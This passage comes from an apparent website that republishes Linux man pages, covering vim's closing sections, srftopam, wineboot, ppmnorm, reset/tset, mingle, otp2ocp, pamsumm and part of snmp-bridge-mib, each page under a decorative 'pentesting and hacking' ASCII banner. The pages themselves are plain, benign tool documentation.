During startup write timing messages to the file {fname}.

–version
Print version information and exit.

–windowid {id}
Win32 GUI only: Make gvim try to use the window {id} as a parent, so that it runs inside that window.

ON-LINE HELP

Type “:help” in Vim to get started. Type “:help subject” to get help on a specific subject. For example: “:help ZZ” to get help for the “ZZ” command. Use <Tab> and CTRL-D to complete subjects (":help cmdline-completion"). Tags are present to jump from one place to another (sort of hypertext links, see “:help”). All documentation files can be viewed in this way, for example “:help syntax.txt”.

FILES

/usr/local/share/vim/vim??/doc/*.txt
The Vim documentation files. Use “:help doc-file-list” to get the complete list.
vim?? is short version number, like vim91 for Vim 9.1

/usr/local/share/vim/vim??/doc/tags
The tags file used for finding information in the documentation files.

/usr/local/share/vim/vim??/syntax/syntax.vim
System wide syntax initializations.

/usr/local/share/vim/vim??/syntax/*.vim
Syntax files for various languages.

/usr/local/share/vim/vimrc
System wide Vim initializations.

~/.vimrc, ~/.vim/vimrc, $XDG_CONFIG_HOME/vim/vimrc
Your personal Vim initializations (first one found is used).

/usr/local/share/vim/gvimrc
System wide gvim initializations.

~/.gvimrc, ~/.vim/gvimrc, $XDG_CONFIG_HOME/vim/gvimrc
Your personal gvim initializations (first one found is used).

/usr/local/share/vim/vim??/optwin.vim
Script used for the “:options” command, a nice way to view and set options.

/usr/local/share/vim/vim??/menu.vim
System wide menu initializations for gvim.

/usr/local/share/vim/vim??/bugreport.vim
Script to generate a bug report. See “:help bugs”.

/usr/local/share/vim/vim??/filetype.vim
Script to detect the type of a file by its name. See “:help ‘filetype’”.

/usr/local/share/vim/vim??/scripts.vim
Script to detect the type of a file by its contents. See “:help ‘filetype’”.

/usr/local/share/vim/vim??/print/*.ps
Files used for PostScript printing.

For recent info read the VIM home page:
<URL:http://www.vim.org/>

SEE ALSO

vimtutor(1)

AUTHOR

Most of Vim was made by Bram Moolenaar, with a lot of help from others. See “:help credits” in Vim.
Vim is based on Stevie, worked on by: Tim Thompson, Tony Andrews and G.R. (Fred) Walter. Although hardly any of the original code remains.

BUGS

Probably. See “:help todo” for a list of known problems.

Note that a number of things that may be regarded as bugs by some, are in fact caused by a too-faithful reproduction of Vi’s behaviour. And if you think other things are bugs “because Vi does it differently”, you should take a closer look at the vi_diff.txt file (or type :help vi_diff.txt when in Vim). Also have a look at the ‘compatible’ and ‘cpoptions’ options.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

482 - Linux cli command srftopam

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command srftopam and provides detailed information about the command srftopam, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the srftopam.

.

NAME 🖥️ srftopam 🖥️

convert a SRF image file to Netpbm images

SYNOPSIS

srftopam [-verbose] [netpbmfile]

DESCRIPTION

This program is part of Netpbm(1) .

srftopam reads a SRF image file as input and produces a multi-image stream of PAM images as output.

This program performs the inverse of the conversion that pamtosrf does. See that program’s manual for more information about SRF and the relationship between the SRF and Netpbm representation of the images.

netpbmfile is the input stream, which defaults to Standard Input. Output is always on Standard Output.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), srftopam recognizes the following command line option:

-verbose
Issue informational messages about the input and the conversion process.

SEE ALSO

  • pamtosrf(1)

  • pamdice(1)

  • pamsplit(1)

  • pam(1)

HISTORY

srftopam was new in Netpbm 10.55 (June 2011).

It was contributed by Mike Frysinger.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/srftopam.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

483 - Linux cli command wineboot

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command wineboot and provides detailed information about the command wineboot, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the wineboot.

NAME 🖥️ wineboot 🖥️

perform Wine initialization, startup, and shutdown tasks

SYNOPSIS

wineboot [options]

DESCRIPTION

wineboot performs the initial creation and setup of a WINEPREFIX for wine(1). It can also perform a simulated reboot or shutdown to any applications running within the WINEPREFIX.

OPTIONS

-h, –help
Display help message.

-e, –end-session
End the current session cleanly.

-f, –force
Force exit for processes that don’t exit cleanly

-i, –init
Initialize the WINEPREFIX.

-k, –kill
Kill running processes without any cleanup.

-r, –restart
Restart only, don’t do normal startup operations.

-s, –shutdown
Shutdown only, don’t reboot.

-u, –update
Update the WINEPREFIX.

BUGS

Bugs can be reported on the

Wine bug tracker

AVAILABILITY

wineboot is part of the Wine distribution, which is available through WineHQ, the

Wine development headquarters

SEE ALSO

wine(1),

Wine documentation and support

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

484 - Linux cli command ppmnorm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ppmnorm and provides detailed information about the command ppmnorm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ppmnorm.

.

NAME 🖥️ ppmnorm 🖥️

replaced by pnmnorm

DESCRIPTION

This program is part of Netpbm(1) .

ppmnorm was replaced in Netpbm 9.25 (March 2002) by pnmnorm(1) .

pnmnorm is backward compatible with ppmnorm except that for PBM and PGM input, it produced PBM and PGM output.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/ppmnorm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

485 - Linux cli command reset

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command reset and provides detailed information about the command reset, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the reset.

NAME 🖥️ reset 🖥️

initialize or reset terminal state

SYNOPSIS

tset [-IQVcqrsw] [-] [-e ch] [-i ch] [-k ch] [-m mapping] [terminal-type]
reset [-IQVcqrsw] [-] [-e ch] [-i ch] [-k ch] [-m mapping] [terminal-type]

DESCRIPTION

tset — initialization

This program initializes terminals.

First, tset retrieves the current terminal mode settings for your terminal. It does this by successively testing

  • the standard error,

  • standard output,

  • standard input and

  • ultimately /dev/tty

to obtain terminal settings. Having retrieved these settings, tset remembers which file descriptor to use when updating settings.

Next, tset determines the type of terminal that you are using. This determination is done as follows, using the first terminal type found.

1. The terminal argument specified on the command line.

2. The value of the TERM environment variable.

3. (BSD systems only.) The terminal type associated with the standard error output device in the /etc/ttys file. (On System V hosts and systems using that convention, getty(8) does this job by setting TERM according to the type passed to it by /etc/inittab.)

4. The default terminal type, unknown, is not suitable for curses applications.

If the terminal type was not specified on the command-line, the -m option mappings are then applied; see subsection Terminal Type Mapping. Then, if the terminal type begins with a question mark (?), the user is prompted for confirmation of the terminal type. An empty response confirms the type, or, another type can be entered to specify a new type. Once the terminal type has been determined, the terminal description for the terminal is retrieved. If no terminal description is found for the type, the user is prompted for another terminal type.

Once the terminal description is retrieved,

  • if the -w option is enabled, tset may update the terminal’s window size.

    If the window size cannot be obtained from the operating system, but the terminal description (or environment, e.g., LINES and COLUMNS variables specify this), use this to set the operating system’s notion of the window size.

  • if the -c option is enabled, the backspace, interrupt and line kill characters (among many other things) are set

  • unless the -I option is enabled, the terminal and tab initialization strings are sent to the standard error output, and tset waits one second (in case a hardware reset was issued).

  • Finally, if the erase, interrupt and line kill characters have changed, or are not set to their default values, their values are displayed to the standard error output.

reset — reinitialization

When invoked as reset, tset sets the terminal modes to sane values:

  • sets cooked and echo modes,

  • turns off cbreak and raw modes,

  • turns on newline translation and

  • resets any unset special characters to their default values

before doing the terminal initialization described above. Also, rather than using the terminal initialization strings, it uses the terminal reset strings.

The reset command is useful after a program dies leaving a terminal in an abnormal state:

  • you may have to type

<LF>reset<LF>

(the line-feed character is normally control-J) to get the terminal to work, as carriage-return may no longer work in the abnormal state.

  • Also, the terminal will often not echo the command.

Setting the Environment

It is often desirable to enter the terminal type and information about the terminal’s capabilities into the shell’s environment. This is done using the -s option.

When the -s option is specified, the commands to enter the information into the shell’s environment are written to the standard output. If the SHELL environment variable ends in csh, the commands are for csh(1), otherwise, they are for sh(1). The csh commands set and unset the shell variable noglob, leaving it unset. The following line in the .login or .profile files will initialize the environment correctly:

eval `tset -s options … `

Terminal Type Mapping

When the terminal is not hardwired into the system (or the current system information is incorrect) the terminal type derived from the /etc/ttys file or the TERM environment variable is often something generic like network, dialup, or unknown. When tset is used in a startup script it is often desirable to provide information about the type of terminal used on such ports.

The -m options maps from some set of conditions to a terminal type, that is, to tell tset If I’m on this port at a particular speed, guess that I’m on that kind of terminal.

The argument to the -m option consists of an optional port type, an optional operator, an optional baud rate specification, an optional colon (:) character and a terminal type. The port type is a string (delimited by either the operator or the colon character). The operator may be any combination of >, <, @, and !; > means greater than, < means less than, @ means equal to and ! inverts the sense of the test. The baud rate is specified as a number and is compared with the speed of the standard error output (which should be the control terminal). The terminal type is a string.

If the terminal type is not specified on the command line, the -m mappings are applied to the terminal type. If the port type and baud rate match the mapping, the terminal type specified in the mapping replaces the current type. If more than one mapping is specified, the first applicable mapping is used.

For example, consider the following mapping: dialup>9600:vt100. The port type is dialup , the operator is >, the baud rate specification is 9600, and the terminal type is vt100. The result of this mapping is to specify that if the terminal type is dialup, and the baud rate is greater than 9600 baud, a terminal type of vt100 will be used.

If no baud rate is specified, the terminal type will match any baud rate. If no port type is specified, the terminal type will match any port type. For example, -m dialup:vt100 -m :?xterm will cause any dialup port, regardless of baud rate, to match the terminal type vt100, and any non-dialup port type to match the terminal type ?xterm. Note, because of the leading question mark, the user will be queried on a default port as to whether they are actually using an xterm terminal.

No whitespace characters are permitted in the -m option argument. Also, to avoid problems with meta-characters, it is suggested that the entire -m option argument be placed within single quote characters, and that csh users insert a backslash character (\ before any exclamation marks (!).

OPTIONS

The options are as follows:

-c
Set control characters and modes.

**-e **ch
Set the erase character to ch.

-I
Do not send the terminal or tab initialization strings to the terminal.

**-i **ch
Set the interrupt character to ch.

**-k **ch
Set the line kill character to ch.

**-m **mapping
Specify a mapping from a port type to a terminal; see subsection Terminal Type Mapping.

-Q
Do not display any values for the erase, interrupt and line kill characters. Normally tset displays the values for control characters which differ from the system’s default values.

-q
The terminal type is displayed to the standard output, and the terminal is not initialized in any way. The option - by itself is equivalent but archaic.

-r
Print the terminal type to the standard error output.

-s
Print the sequence of shell commands to initialize the environment variable TERM to the standard output; see subsection Setting the Environment.

-V
reports the version of ncurses which was used in this program, and exits.

-w
Resize the window to match the size deduced via setupterm(3NCURSES). Normally this has no effect, unless setupterm is not able to detect the window size.

The arguments for the -e, -i, and -k options may either be entered as actual characters or by using the hat notation, i.e., control-h may be specified as H or h.

If neither -c or -w is given, both options are assumed.

ENVIRONMENT

The tset command uses these environment variables:

SHELL
tells tset whether to initialize TERM using sh(1) or csh(1) syntax.

TERM
Denotes your terminal type. Each terminal type is distinct, though many are similar.

TERMCAP
may denote the location of a termcap database. If it is not an absolute pathname, e.g., begins with a /, tset removes the variable from the environment before looking for the terminal description.

FILES

/etc/ttys
system port name to terminal type mapping database (BSD versions only).

/etc/terminfo
compiled terminal description database directory

PORTABILITY

Neither IEEE Std 1003.1/The Open Group Base Specifications Issue 7 (POSIX.1-2008) nor X/Open Curses Issue 7 documents tset or reset.

The AT&T tput utility (AIX, HP-UX, Solaris) incorporated the terminal-mode manipulation as well as termcap-based features such as resetting tabstops from tset in BSD (4.1c), presumably with the intention of making tset obsolete. However, each of those systems still provides tset. In fact, the commonly-used reset utility is always an alias for tset.

The tset utility provides backward compatibility with BSD environments; under most modern Unices, /etc/inittab and getty(8) can set TERM appropriately for each dial-up line, obviating what was tset’s most important use. This implementation behaves like 4.4BSD tset, with a few exceptions we shall consider now.

A few options are different because the TERMCAP variable is no longer supported under terminfo-based ncurses:

  • The -S option of BSD tset no longer works; it prints an error message to the standard error and dies.

  • The -s option only sets TERM, not TERMCAP.

There was an undocumented 4.4BSD feature that invoking tset via a link named TSET (or via any other name beginning with an upper-case letter) set the terminal to use upper-case only. This feature has been omitted.

The -A, -E, -h, -u and -v options were deleted from the tset utility in 4.4BSD. None of them were documented in 4.3BSD and all are of limited utility at best. The -a, -d, and -p options are similarly not documented or useful, but were retained as they appear to be in widespread use. It is strongly recommended that any usage of these three options be changed to use the -m option instead. The -a, -d, and -p options are therefore omitted from the usage summary above.

Very old systems, e.g., 3BSD, used a different terminal driver which was replaced in 4BSD in the early 1980s. To accommodate these older systems, the 4BSD tset provided a -n option to specify that the new terminal driver should be used. This implementation does not provide that choice.

It is still permissible to specify the -e, -i, and -k options without arguments, although it is strongly recommended that such usage be fixed to explicitly specify the character.

As of 4.4BSD, executing tset as reset no longer implies the -Q option. Also, the interaction between the - option and the terminal argument in some historic implementations of tset has been removed.

The -c and -w options are not found in earlier implementations. However, a different window size-change feature was provided in 4.4BSD.

  • In 4.4BSD, tset uses the window size from the termcap description to set the window size if tset is not able to obtain the window size from the operating system.

  • In ncurses, tset obtains the window size using setupterm(3NCURSES), which may be from the operating system, the LINES and COLUMNS environment variables or the terminal description.

Obtaining the window size from a terminal’s type description is common to both implementations, but considered obsolescent. Its only practical use is for hardware terminals. Generally, the window size will remain uninitialized only if there were a problem obtaining the value from the operating system (and setupterm would still fail). The LINES and COLUMNS environment variables may thus be useful for working around window-size problems, but have the drawback that if the window is resized, their values must be recomputed and reassigned. The resize(1) program distributed with xterm(1) assists this activity.

HISTORY

A reset command written by Kurt Shoens appeared in 1BSD (March 1978). It set the erase and kill characters to H (backspace) and @ respectively. Mark Horton improved this reset in 3BSD (October 1979), adding intr, quit, start/stop, and eof characters as well as changing the program to avoid modifying any user settings. That version of reset did not use termcap.

Eric Allman wrote a distinct tset command for 1BSD, using a forerunner of termcap called ttycap. Allman’s comments in the source code indicate that he began work in October 1977, continuing development over the next few years. By late 1979, it had migrated to termcap and handled the TERMCAP variable. Later comments indicate that tset was modified in September 1980 to use logic copied from the 3BSD reset program when it was invoked as reset. This version appeared in 4.1cBSD, late in 1982. Other developers such as Keith Bostic and Jim Bloom continued to modify tset until 4.4BSD was released in 1993.

The ncurses implementation was lightly adapted from the 4.4BSD sources to use the terminfo API by Eric S. Raymond <[email protected]>.

SEE ALSO

csh(1), sh(1), stty(1), terminfo(3NCURSES), tty(4), terminfo(5), ttys(4), environ(7)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

486 - Linux cli command mingle

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mingle and provides detailed information about the command mingle, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mingle.

delim $$

NAME 🖥️ mingle 🖥️

fast edge bundling

SYNOPSIS

mingle [ options ] [ -o outfile ] [ files ]

DESCRIPTION

mingle takes as input a graph in DOT format with node position information (the pos attribute) and bundles the edges.

OPTIONS

The following options are supported:

-m* k*
indicates which method to use for bundling. A value of 0 corresponds to a force-directed bundling. A value of 2 uses a cluster plus ink saving approach. If available, a value 1 denotes an agglomerative ink saving method. Normally, the last is the default.

-a* k*
specifies the maximum turning angle, in degrees, as a non-negative real. The larger the value, the more edges may bend. If the value is 0, there is no limitation on the turning angle. The default is 40. The parameter is not used in force-directed bundling.

-c* v*
specifies which compatability measure to use. The value 0, the default, uses a distance metric, while a value of 1 relies on full compatability. This value is only used in force-directed bundling.

-i* k*
gives the maximum number of iterative divisions of edges allowd in force-directed bundling. The default is 4.

-k* k*
gives the number of neighbors to be used in forming a nearest neighbor graph. This parameter is only used in the agglomerative method. The default is 10.

-K* k*
is a positive real value giving the force constant used in force-directed bundling. By default, the value is determined automatically.

-o* file*
puts output in file. Default output is stdout

-p* k*
Except for the force-directed method, bundling minimizes $ink * (k - cos(turning angle))$. The larger the value of k, the less emphasis is put on avoiding sharp turning angles and the faster the bundling. The default value is -1.

-r* k*
is a non-negative integer giving the maximum recursion level used in the agglomerative method. The default is 100.

-T* fmt*
specifies the output format. At present, the output is always in the DOT format. If fmt is “simple”, the output is a simple, schematic representation of the drawing. Only the node positions and edges are retained from the original graph. If fmt is “gv”, the drawing information is attached to the input graph.

-v* k*
determines the verbose level used for tracing the algorithm. The value k is optional; if not provided, the value 1 is used.

-?
Print usage and exit.

BUGS

At present, mingle does not handle graphs with loops or directed multiedges. So, a graph with edges a -> b and b -> a is acceptable, but not if it has edges a -> b and a -> b or a – b and a – b.

AUTHOR

Emden R. Gansner <[email protected]>, Yifan Hu <[email protected]>

SEE ALSO

sfdp(1), neato(1), gvpr(1)

Emden R. Gansner, Yifan Hu, Stephen C. North and Carlos Scheidegger, ``Multilevel Agglomerative Edge Bundling for Visualizing Large Graphs’’, IEEE Pacific Visualization Symposium PacificVis, pp. 187‐194, 2011.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

487 - Linux cli command otp2ocp

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command otp2ocp and provides detailed information about the command otp2ocp, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the otp2ocp.

NAME 🖥️ otp2ocp 🖥️

convert Omega Translation Process files to Omega Compiled Process files

SYNOPSIS

otp2ocp OTPFILE[.otp] [OCPFILE[.ocp]]

DESCRIPTION

otp2ocp is used to create or recreate Omega Compiled Process files (binary) from Omega Translation Process (text) files.

Omega Translation Processes are rules used to translate one character set to another and to choose between characters with one or more context-sensitive variants. OTPs could also be used to change the case or hyphenation of text.

SEE ALSO

mkocp(1), omega(1).

<https://ctan.org/pkg/omega>

AUTHOR

mkocp is part of Omega. The primary authors of Omega are John Plaice and Yannis Haralambous.

This manual page was written by C.M. Connelly for the Debian GNU/Linux system. It is now maintained as part of TeX Live.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

488 - Linux cli command pamsumm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamsumm and provides detailed information about the command pamsumm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamsumm.

.

NAME 🖥️ pamsumm 🖥️

Summarize the samples in a Netpbm image arithmetically

SYNOPSIS

pamsumm { -sum | -mean | -min | -max } [-normalize] [-brief] [imagefile]

All options can be abbreviated to their shortest unique prefix. You may use two hyphens instead of one. You may separate an option name and its value with white space instead of an equals sign.

DESCRIPTION

This program is part of Netpbm(1) .

pamsumm reads a Netpbm image (PNM or PAM) and performs a summary function over all the samples in all the rows, columns, and planes and prints the result to Standard Output.

pamsumm performs the operation on the actual sample values. In the case of a PGM or PPM or PAM equivalent (i.e. a visual image), this is not the same as the light intensities represented by those samples. See the format specifications of PGM(1) , PPM(1) , and PAM(1) , for the precise meanings of samples in these formats. If you want to do arithmetic on light intensities of such a visual image, you can use pnmgamma to convert it to one with samples proportional to light intensity, and then use pamsumm on the result.

If you want to summarize by column (e.g. add up the columns separately), use pamsummcol. If you want to summarize by row, use a combination of pamsummcol and pamflip. If you want to summarize a particular plane, use pamchannel to extract it and then pamsumm.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pamsumm recognizes the following command line options:

You must specify exactly one of -sum, -mean, -min, or -max.

-sum
This option makes the summary function addition.

-mean
This option makes the summary function arithmetic mean.

-min
This option makes the summary function arithmetic minimum.

-max
This option makes the summary function arithmetic maximum.

-normalize
This option causes each sample to be normalized to a fraction (in the range 0..1) so the result is independent of the image’s maxval. E.g. if you request the mean of an image which has maxval 200 and all the samples have value 50, pamsumm will give you 50 as an answer. But pamsumm -normalize will give you .25.

If instead you want a result that is independent of maxval but still in integers, you can use pamdepth to convert the input to some standard maxval and not use -normalize. For example, if you want the mean brightness of a PPM image, on a scale of 0 to 99, do

    pamdepth 99 myimage.ppm | pamsumm -mean

This option was new in Netpbm 10.22 (April 2004)

-brief
This option causes pamsumm to display the answer as a bare number, rather than in a complete sentence.

This option was new in Netpbm 10.22 (April 2004)

SEE ALSO

pamsummcol(1) , pam(1) ,

HISTORY

pamsumm was added to Netpbm in Release 10.21 (March 2004).

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamsumm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

489 - Linux cli command snmp-bridge-mib

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command snmp-bridge-mib and provides detailed information about the command snmp-bridge-mib, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the snmp-bridge-mib.

NAME 🖥️ snmp-bridge-mib 🖥️

bridge-mib - provide Linux bridge information via SNMP

SYNOPSIS

snmp-bridge-mib {bridge}

ARGUMENTS

The following arguments are required:

bridge

The name of the Linux bridge for which you want to provide information via SNMP, e.g. br0.

DESCRIPTION

The snmp-bridge-mib is an extension to net-snmp. It collects information about a bridge in a Linux system and exports them for query from other (remote) systems for management purposes.

CONFIGURATION:

The preferred method of snmp-bridge-mib to attach to net-snmp is agentx. For this to work, you will have to add the following line to /etc/snmp/snmpd.conf,

master agentx

restart snmpd and start snmp-bridge-mib. snmp-bridge-mib will then connect to the running snmpd daemon.

Another way of attaching snmp-bridge-mib to is to run it as an embedded perl module. You have to add

perl do "path to location of snmp-bridge-mib"

and restart snmpd.

EXAMPLE:

Follow the instructions in this manpage and type

perl /usr/bin/snmp-bridge-mib br0

You’ll get the following output:

 registering at .1.3.6.1.2.1.17
     running as a subagent.
     dot1qbridge agent started.
     NET-SNMP version 5.4.2.1 AgentX subagent connected

Now it’s time for a first test:

$ export MIBS=+BRIDGE-MIB
    $ snmpwalk localhost .1.3.6.1.2.1.17

